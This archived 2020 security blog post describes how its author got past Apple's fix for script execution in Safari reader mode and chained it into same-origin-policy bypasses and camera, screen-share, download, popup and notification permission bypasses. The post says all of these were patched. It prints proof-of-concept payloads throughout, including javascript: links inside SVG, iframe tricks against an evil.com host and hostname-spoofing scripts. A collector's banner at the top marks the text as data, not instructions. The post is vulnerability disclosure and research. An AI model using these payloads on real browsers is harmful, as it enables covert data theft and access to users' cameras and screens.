My hacking adventures with Safari reader mode

My hacking adventures with Safari reader mode - Nikhil Mittal, Payatu.

- Published: 2020-08-27
- Original: <https://payatu.com/blog/nikhil-mittal/my-hacking-adventures-with-safari-reader-mode>
- Also published at: <https://payatu.com/blog/my-hacking-adventures-with-safari-reader-mode/>
- Also published at: <https://c0d3g33k.github.io/>
- Preserved from: https://payatu.com/blog/my-hacking-adventures-with-safari-reader-mode/ (stored) on 2026-08-16
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Table of Contents

My hacking adventures with Safari reader mode

Summary

In March 2020, I wrote a blogpost on Executing Scripts In Safari Reader Mode To CSP Bypass, I had mentioned about the Safari reader mode and its promise to the customer. Also, I had explained how executing scripts in reader mode could lead to a CSP bypass issue. Before publishing the last article, I made several attempts to bypass the SOP, but sadly, there was no success. The previous bug was fixed in the March'20 update. So, I decided to look at Safari reader again to check how the fix was implemented after getting my hands on it. To check how they have implemented the fix and behaviour, I decided to look for the possible bypass. After digging a bit, I found a bypass.

You found a bypass again, what will you do further? Don't stop there, as I did earlier

You challenge yourself to look further for possible attacks using the same bypass and different case scenarios which you might have missed before to chain the bugs, to come up with one great hack.

And that being said, The next challenge was to look for different possible attacks using the Safari reader mode, and this research turns out with SOP bypass and video/audio permission bypass in the Safari reader mode. If you have not read my last blog, I would suggest you read it before proceeding further.

>

https://payatu.com/blog/nikhil-mittal/executing-scripts-in-safari-reader-mode–to-csp-bypass

All the vulnerabilities are fixed on August 2020 update, available for safari, iOS and iPadOS

>

https://support.apple.com/en-us/HT201222

Reader mode in browsers

If you are using web, then you might have had come across such situations when there a nice article on a website fully loaded with different advertisements, funky background images, and sounds. Sometimes, it is very frustrating to read the articles when suddenly some weird pop-up comes to your screen, or a video starts playing in the background, or the website starts requesting different permissions such as notification, and location to users. To deal with such a situation, browser vendors came up with an idea of reader mode in browsers. Here is a quick video demonstration of different ads and videos that distract the users

Reader mode is a feature implemented in most modern browsers that allow users to read articles in a clutter-free view, i.e. rendering a page in a way that will be easy to read without any distractions like advertisements, background images and, audio/videos.

Safari on macOS and iPhone comes with the reader mode feature as well, which works pretty fine. But you might never know when a feature meant to protect would turn against you.

Bypassing the patch

In the last blog, we concluded that we can bypass the JavaScript execution check with the following payload

```
<a href="jav      ascript:alert(1)">Evil link</a>
```

Now, first things first, to bypass the fix, I have tried other possible combinations of HTML entities as a part of last payload

```
<a href="jav
ascript:alert(1)">Evil link</a>
<a href="jav
ascript:alert(1)">Evil link</a>
<a href="jav
ascript:alert(1)">Evil link</a>
```

But none of them worked. I did several other attempts as well but no success, After a lot of unsuccessful attempts, I decided to play with our good friend SVG. I created a simple inline SVG

code to check if it's getting rendered in Safari reader preview.

```
<svg xmlns="http://www.w3.org/2000/svg">
   <circle cx="40" cy="40" r="35"/>
</svg>
```

And surprisingly enough, Safari removed this simple harmless SVG code in reader preview mode.

[image: 1]

Next, I started playing around SVG and decided to add another element inside the SVG. Some of the SVG element ware also removed, but the text element worked for me.

```
<svg height="30" width="200">
   <text x="0" y="15" fill="red">Bla bla bla bla!</text>
</svg>
```

And this time, it gets rendered in the reader mode, as shown in the below image.

[image: 2]

Here, we can conclude that SVG is working in reader mode. Now we have to think of different ways to execute JavaScript using SVG, and that calls for the most obvious SVG XSS vector.

```
<svg height="30" width="200">
   <text x="0" y="15" fill="red">Bla bla bla bla!</text>
   <script>console.log('blaa!');</script>
</svg>
```

But, Safari is, yet again, playing smart. It removed the script and rendered the remaining part.

[image: 3]

I tried to attach event handlers with text element, but Safari removed it as well.

```
<svg height="30" width="200">
   <text x="0" y="15" fill="red" onclick="alert(1)">Bla bla bla bla!</text>
</svg>
```

The next idea was to, again, play with links inside the SVG. In addition to that, I decided to make our text pointed to a JavaScript URI.

```
<svg height="30" width="200">
  <a href="javascript:console.log('Blaa!!')">
    <text x="0" y="15" fill="red">Bla bla bla bla!</text>
  </a>
</svg>
```

And it worked easy peasy. The same trick also worked with a circle element as well, which was not getting rendered before.

[image: 4]

```
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:console.log('Blaa!!')">
    <circle cx="40" cy="40" r="35"/>
  </a>
</svg>
```

[image: 5]

So as we completed one milestone here, the next target was to look for different attack vectors using the reader mode, which I have tried before reporting the last bug as well buts no success. But this time, I was lucky enough to bypass the SOP as well as other Safari features and permissions.

Weird iframe behaviour

I know some of you might be thinking, what can we do with iframes in reader mode since they will be removed by Safari as soon as the document is rendered into the reading mode, But this might not be the case every time, my friend. So, moving further, I started playing with iframes to check if somehow, we can break anything in reader mode. The idea was to check if Safari imports any content such as texts, images, etc. from the embedded frame as soon as the document turned into the reader mode.

Case-1:

The first setup was to load a cross-origin iframe inside a page that is compatible to be rendered in reading mode. So, I quickly set up the following pages:

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <p>macOS is the operating system that powers every Mac. It lets you do things you simply can’t with other compute
    <p>macOS is the operating system that powers every Mac. It lets you do things you simply can’t with other compute
    <p>macOS is the operating system that powers every Mac. It lets you do things you simply can’t with other compute
    <p>macOS is the operating system that powers every Mac. It lets you do things you simply can’t with other compute
    <iframe src="https://evil.com/var/www/html/bug/secret.html" frameborder="1"></iframe>
</body>
</html>
```

```
<!-- content of secret.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>secret page!</title>
</head>
<body>
        <p>1.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>2.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>3.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>4.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>5.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>6.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>7.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>8.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>9.  content from secret html file! content from secret html file! content from secret html file! content from sec
        <p>10. content from secret html file! content from secret html file! content from secret html file! content from se
</body>
</html>
```

As soon as this page loading in Safari reader mode, it looks as seen from the image below

[image: 6]

And as you might be expecting as soon as we put this page in reader mode, the iframe just disappears!

[image: 7]

Case-2:

Well, we need some black magic here, I was just curious to know what would happen if we increased the height and width of an iframe and put some content inside. So, I re-modified the page source as following

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <p>macOS is the operating system that powers every Mac. It lets you do things you simply can't with other compute
  <p>macOS is the operating system that powers every Mac. It lets you do things you simply can't with other compute
  <p>macOS is the operating system that powers every Mac. It lets you do things you simply can't with other compute
  <p>macOS is the operating system that powers every Mac. It lets you do things you simply can't with other compute
  <iframe src="https://evil.com/var/www/html/bug/secret.html" frameborder="1" height="600" width="1200"></ifram
</body>
</html>
```

Let's normally load it again and see how it looks when rendered in Safari.

[image: 8]

And again as soon as this page is rendered in reader mode, the content of iframe is removed by Safari.

Case-3:

Okay, so let's do one more try as we keep less content on the top frame and more content on the child frame.

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title> TOP Document title!</title>
</head>
<body>
  <p>macOS is the operating system that powers every Mac. It lets you do things you simply can't with other compute
  <iframe src="https://evil.com/var/www/html/bug/secret.html" frameborder="1" height="600" width="1200"></ifram
</body>
</html>
```

Again, I loaded the modified page in Safari which looks as shown in the below image.

[image: 9]

Now as soon as we switch to reader mode Safari rendered our page as shown in the below image.

[image: 10]

Did you notice something strange? Well, Safari just took the title of the top frame and ignored the rest of the content in the top frame and appended all the content from the child frame as a part of the top frame in reader mode. Safari, you are probably drunk!

Same origin policy (SOP)

Every modern browser comes with SOP, which restricts the interaction between cross-origin frames. For more detailed information, I would suggest reading:

>

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

So, if I try to read the content of the cross-origin frame embedded on a top frame, the browser will prevent us from doing so because it violates the same-origin policy.

[image: 11]

And similarly, if I try to read the content of the top frame from a child frame in case of cross-origin frames, the browser will not allow us because, again, it violates the same-origin policy.

SOP Bypass-1(Child frame can access top frame's content)

Continuing from the last case study, we have seen Safari take the title of the top frame, and the rest of the content is taken from the child frame. After a few trial and error test cases, I figured out that it either took the title or elements of h1 and h2 tag from the top window. So, I re-modified our code again as following.

```
<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title> TOP Document title!</title>
</head>
<body>
   <h1>h1 Element on top frame!</h1>
   <p>macOS is the operating system that powers every Mac. It lets you do things you simply can't with other compute
   <iframe src="https://evil.com/var/www/html/bug/secret.html" frameborder="1" height="600" width="1200"></ifram
</body>
</html>
```

And it rendered as shown in the below image.

[image: 12]

So, we already know a way to execute scripts in reader mode. In this particular scenario, we can easily steal the content of h1 and h2 elements on the top frame, we can also read the top frame location which might include any session, CSRF token, etc. Also, we can change the DOM of the top frame for spreading any misinformation and phishing attacks.

Let's assume we have dummy page of top frame like this

```
<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <link rel="stylesheet" href="app.css">
   <title>Welcome to secretmail.com</title>
</head>
<body>
   <h1>Welcome to secretmail.com!</h1>
   <h2>Mail-1: You've got 1000$ PayPal cashback, your coupon code is: <b>598qocj48085onch84083Aqrmg7Yg0</b></
   <u>Advertisement section!</u><br>
   <iframe src="https://evilads.com/ads/" height="500" width="1200"></iframe>
</body>
</html>
```

And the content of the child frame looks like the following:

```html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="stylesheet" href="app.css">
  <title>Welcome to evilads.com</title>
</head>
<body>
  <h1>Welcome to evilads.com</h1><hr>
  <p onclick="this.innerHTML=window.location.href">Click here to check this frame's location!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <p>We offer the best web hosting services!, please visit us by clicking the link provided at th end!</p>
  <b>Try this black magic!</b><br>
  <svg xmlns="http://www.w3.org/2000/svg">
    <a href="javascript:var m = document.querySelector('h2');var a = window.open();a.alert(m.innerHTML);">
     <circle cx="50" cy="40" r="35"/>
    </a>
  </svg>
</body>
</html>
```

Now, as soon as the black circle is clicked, Safari will alert the content of h2 tag.

SOP Bypass-2 (Top frame can access child frame content)

So far, we have witnessed how a child frame can access top frame’s content. At this point in time, I was also curious to know if we can reverse this process i.e. a top frame can access child frame contents. Getting back to our test cases.

Case-1:

First thing first I decided to add SVG element inside the h1 on the top frame.

```
<h1>
    <svg xmlns="http://www.w3.org/2000/svg">
    <a href="javascript:console.log('blaa!!')">
      <circle cx="40" cy="40" r="35"/>
    </a>
    </svg>
</h1>
```

But Safari didn't consider the h1 element in this case and selected the title from top frame.

[image: 13]

Case-2:

Next, I tried to add strings and SVG inside the h1 tag to check if SVG will be accepted by Safari or not. So, I re-modified the top-level frame code to as following:

```
<h1>
    Element on top frame! Element on top frame! Element on top frame!
    <svg xmlns="http://www.w3.org/2000/svg">
    <a href="javascript:console.log('blaa!!')">
      <circle cx="40" cy="40" r="35"/>
    </a>
    </svg>
</h1>
```

and this time, Safari considered the h1 tag but added some SVG properties as a part of href attribute.

[image: 14]

If you click on the link you will be redirected to a non-existent page.

Case-3:

After digging a bit more, I figured out we can insert SVG element before closing out the opening h1 tag. i.e.

```
<h1 SVG-element> Some random string </h1>
```

So, I quickly inserted the following code on the top frame code.

```
<h1

  <svg xmlns="http://www.w3.org/2000/svg">
    <a href="javascript:console.log('blaa!!')">
      <circle cx="40" cy="40" r="35"/>
    </a>
  </svg>

>
Element on the top frame! Element on the top frame! Element on the top frame!
</h1>
```

And now as soon as Safari renders it, we can see the href attribute is now targeting our defined JavaScript URI as shown in the below image.

[image: 15]

So as soon as the link is clicked, we have the JavaScript code execution again.

location.hostname property behaviour

During the research, I also stumbled upon another interesting problem, which is we can set location.hostname to any URL and Safari just accepts it without any redirection. So first thing first I checked was the location.hostname, which is being used in the Reader mode.

[image: 16]

Now, let's try to change the hostname to any cross-origin and see how Safari reacts.

[image: 17]

So, Safari didn't change anything. The value of location.hostname remains the same, which is, lab.com. After digging a bit, I noticed any string with semi-colon is not allowed by the Safari which means any host pattern like x:x would not work as seen in the image below.

[image: 18]

Now, the next thing came to my mind is changing to host to //apple.com and since it doesn't have any semi-colon it should be accepted by Safari.

[image: 19]

But, this time, Safari sets location.hostname to blank.

And finally, I tried to change the location.hostname to a host value without any protocol, semi-colon, and slashes.

[image: 20]

And it worked, it gave me a joyful moment, until I checked location.origin, which returned safari-reader://apple.com. Which means, the SOP will be a big evil here, and it will not allow us to access anything over https://apple.com or http://apple.com. Also, at this point in time, I checked if we

could access localStorage, sessionStorage, cookies, etc. over https in reader mode or not. But, none of them were accessible.

And then I suddenly remembered the blog on apple camera hack from ryan which gave me an idea that Safari does not track website based on origins. So https://lab.com http://lab.com or safari-reader://lab.com should be considered as one opened website by Safari.

[image: 21]

Downloads Permission Bypass

If a website tries to download any of the files or a user tries to download any of the files from the websites, Safari will ask you whether to allow downloads from the websites or not as shown in the below image.

[image: 22]

And once you allow downloads, then that particular website can directly download files next time. In our case, let's assume the victim added apple.com as a trusted site. So, we inject the following JavaScript code to download any files without any permission.

```
console.log('call from external JS file1');

if(location.hostname !== 'apple.com') {
   location.hostname = 'apple.com';

}
else {
   var a = document.createElement('a');
   a.href = 'b.dmg';
   a.download = '';
   document.body.append(a);

   setTimeout(a.click(),2000);
}
```

Popup Permission Bypass

Similarly, we can bypass the pop-up permission as well

```
console.log('call from external JS file1');

if(location.hostname !== 'apple.com') {
   location.hostname = 'apple.com';

}
else {
   setTimeout(()=>{
      var a = window.open(location.hostname,'a');
      a.alert(window.document.origin);
   },2000);
}
```

Secure context in browser

Video, Audio, Screenshare, Geolocation these permissions are accessible only over a secure context. And by default, Safari considered Reader mode as an insecure origin.

[image: 23]

The next task was to somehow convert the insecure origin to a secure one. So here, we cannot change location.hostname to any URL over https because Safari will not accept it. After looking into the documentation, I realised, file URI's and localhost are also considered of secure context because they help developers to build and run applications before putting on production. So, I quickly changed the hostname point to the localhost as shown in image below.

[image: 24]

And it worked for me. Now, we are in a secure context and video permissions can be requested, so I did a quick check and got another error.

[image: 25]

I made several other attempts as well. Since the TOP window is now of secure context, the other embedded windows, which pointed to about:blank or about:srcdoc, should also be considered of secure origin. So, I tried to execute JavaScript code in reference to these frames as well, but none of them worked. And then did a few more hits and trials, but no success and I gave up here on the current window.

Don't trust the localhost

Video/Audio Permission Bypass

Next, I started playing in reference to a new window. and it worked for me this time.

```
console.log('call from external JS file1');

if(location.hostname !== 'localhost') {
   location.hostname = 'localhost';

}
else {

    var a = window.open('safari-reader://localhost/var/www/html/analysis/','a');
   setTimeout(()=>{
      a.document.write("<video id='v' width='600' height='400'></video><script>navigator.mediaDevices.getUserMedia(
   },2000);
}
```

As soon as you click, a new window would appear where the popup will ask to access your camera on behalf of the localhost.

>

PS: Localhost is just an name here, it does not require victim to have anything running over localhost or even having localhost.

Screensharing Permission Bypass

Similarly, we can use the following code to bypass the screen sharing permission.

```
console.log('call from external JS file1');

if(location.hostname !== 'localhost') {
   location.hostname = 'localhost';

}
else {

    var a = window.open('safari-reader://localhost/aaaaa','a');
   setTimeout(()=>{
      a.document.write(atob("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGF
   },2000);
}
```

Notification Permission Bypass

```
console.log('call from external JS file1');

if(location.hostname !== 'localhost') {
   location.hostname = 'localhost';

}
else {

    var a = window.open('safari-reader://localhost/aaaaa','a');
   setTimeout(()=>{
      a.document.write("<script>let n = new Notification('Hello!!');<\/script>");
   },2000);
}
```

Geolocation Permission

However, for some reason, the geolocation permission was still not working as Safari was still treating it to be of insecure origin.

[image: 26]

CSP Bypass

And finally, as mentioned in my previous blog post, we can also bypass the CSP in Safari Reader Mode.